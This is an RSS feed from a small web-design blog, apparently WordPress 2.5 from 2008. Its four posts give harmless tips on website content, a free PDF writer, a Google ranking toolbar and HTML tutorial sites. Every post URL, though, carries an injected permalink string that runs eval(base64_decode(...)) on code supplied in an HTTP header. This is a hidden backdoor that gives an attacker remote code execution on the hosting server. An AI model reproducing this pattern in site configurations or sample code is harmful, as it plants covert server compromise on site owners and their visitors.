<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title></title>
	<atom:link href="http://www.islandgirlsdesign.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.islandgirlsdesign.com/blog</link>
	<description></description>
	<pubDate>Thu, 21 Feb 2008 17:35:00 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5</generator>
	<language>en</language>
			<item>
		<title>Website Content Suggestions</title>
		<link>http://www.islandgirlsdesign.com/blog/2008/02/21/website-content-suggestions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.islandgirlsdesign.com/blog/2008/02/21/website-content-suggestions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 21 Feb 2008 17:31:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[website content]]></category>

		<category><![CDATA[]]></category>

		<category><![CDATA[interactive website]]></category>

		<category><![CDATA[key information for website design]]></category>

		<category><![CDATA[web site info]]></category>

		<category><![CDATA[web site information]]></category>

		<guid isPermaLink="false">http://www.islandgirlsdesign.com/blog/?p=7</guid>
		<description><![CDATA[You may want to include any or all of the following on your website.
Contact Us – information - Providing a way for visitors to respond to you.
About Us - Visitors can get a glimpse into who you are and why they should choose you.
Services - Provide your visitors with a detailed description of the services [...]]]></description>
			<content:encoded><![CDATA[<p>You may want to include any or all of the following on your website.<br />
<strong>Contact Us</strong> – information - Providing a way for visitors to respond to you.<br />
<strong>About Us</strong> - Visitors can get a glimpse into who you are and why they should choose you.<br />
<strong>Services</strong> - Provide your visitors with a detailed description of the services offered. This can be done using a list format, paragraph format or combination of both.<br />
<strong>Images</strong> - can help your visitors get to know you, your location, help emphasize a point, and they can contribute to the &#8220;feel&#8221; of a site as well. <br />
<strong>Forms</strong> - allow you to request specific information from your visitors. This method helps to ensure that you obtain the type of contact information you want, the visitor&#8217;s email address and any other information you may need.<br />
<strong>Testimonials</strong> - providing potential clients with positive feedback from existing clients is another great way to help build confidence in your company and its services</p>
]]></content:encoded>
			<wfw:commentRss>http://www.islandgirlsdesign.com/blog/2008/02/21/website-content-suggestions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Create PDF documents on the fly for Free!</title>
		<link>http://www.islandgirlsdesign.com/blog/2008/02/13/create-pdf-documents-on-the-fly-for-free/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.islandgirlsdesign.com/blog/2008/02/13/create-pdf-documents-on-the-fly-for-free/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 19:56:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Cute PDF Writer]]></category>

		<category><![CDATA[emails]]></category>

		<category><![CDATA[free download]]></category>

		<category><![CDATA[free pdf writer]]></category>

		<category><![CDATA[useful tool for websites]]></category>

		<guid isPermaLink="false">http://www.islandgirlsdesign.com/blog/?p=6</guid>
		<description><![CDATA[Free software that lets you view, print, search, and share Adobe Portable Document Format (PDF) files more securely using a variety of platforms and devices.
Create PDF documents on the fly — for Free!     CutePDF Writer
Portable Document Format (PDF) is the standard for the secure and reliable distribution and exchange of electronic documents and forms around [...]]]></description>
			<content:encoded><![CDATA[<p>Free software that lets you view, print, search, and share Adobe Portable Document Format (PDF) files more securely using a variety of platforms and devices.</p>
<p>Create PDF documents on the fly — for Free!     <a href="http://www.adobe.com/products/acrobat/readstep.html">CutePDF Writer</a><br />
Portable Document Format (PDF) is the standard for the secure and reliable distribution and exchange of electronic documents and forms around the world. <br />
This is a great tool to use when sharing downloadable  information on your website for visitors or clients giving them the ability to view documentation without altering the information in anyway. This  is also a great way to send  documentation by email to clients or friends/family that can be view by everyone and not worrying about specific software it was written in.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.islandgirlsdesign.com/blog/2008/02/13/create-pdf-documents-on-the-fly-for-free/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Great Web Tool</title>
		<link>http://www.islandgirlsdesign.com/blog/2008/02/06/great-web-tool/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.islandgirlsdesign.com/blog/2008/02/06/great-web-tool/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 07 Feb 2008 00:35:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Website Tool Bar]]></category>

		<category><![CDATA[google ranking bar]]></category>

		<category><![CDATA[website links]]></category>

		<guid isPermaLink="false">http://www.islandgirlsdesign.com/blog/?p=5</guid>
		<description><![CDATA[A great tool to use to see how Google ranks your website page is the Google Ranking Tool Bar.  Using this bar will not only help you see where your site is ranked within Google, but also help you decide who to exchange links with.  It is very beneficial to your website if  websites wishing to [...]]]></description>
			<content:encoded><![CDATA[<p>A great tool to use to see how Google ranks your website page is the <a target="_blank" href="http://www.webrankinfo.com/english/google/toolbar.php" title="Google Rank Tool Bar">Google Ranking Tool Bar</a>.  Using this bar will not only help you see where your site is ranked within Google, but also help you decide who to exchange links with.  It is very beneficial to your website if  websites wishing to exchange links are ranked 3 out of 10 or above.  The higher the ranking website links you can obtain, the quicker Google recognizes your site as a valuable asset to their database. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.islandgirlsdesign.com/blog/2008/02/06/great-web-tool/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Welcome to My New Blog Section</title>
		<link>http://www.islandgirlsdesign.com/blog/2008/01/31/welcome-to-my-new-blog-section/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.islandgirlsdesign.com/blog/2008/01/31/welcome-to-my-new-blog-section/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 01 Feb 2008 03:40:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Html Tutorials Info]]></category>

		<category><![CDATA[graphics tutorials]]></category>

		<category><![CDATA[html goodies]]></category>

		<category><![CDATA[html tutorials]]></category>

		<category><![CDATA[resources]]></category>

		<guid isPermaLink="false">http://www.islandgirlsdesign.com/blog/?p=4</guid>
		<description><![CDATA[Hello to All!  Welcome to my new blog section on this website. I hope to use this blog as a tool for sharing information and tips on creating a website, information on free web tools, and sharing valuable website links. The first website I will recommend for those who are working on building or improving [...]]]></description>
			<content:encoded><![CDATA[<p>Hello to All!  Welcome to my new blog section on this website. I hope to use this blog as a tool for sharing information and tips on creating a website, information on free web tools, and sharing valuable website links. The first website I will recommend for those who are working on building or improving their website would be. <a target="_blank" href="http://www.htmlgoodies.com" title="HTML Goodies">HTML Goodies</a>. This site is great for Html &amp; Graphics Tutorials for advanced as well as beginners offering step by step procedures as well as examples to follow. For additional resources, please feel free to visited  <a href="http://www.islandgirlsdesign.com/resources.html">resources</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.islandgirlsdesign.com/blog/2008/01/31/welcome-to-my-new-blog-section/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
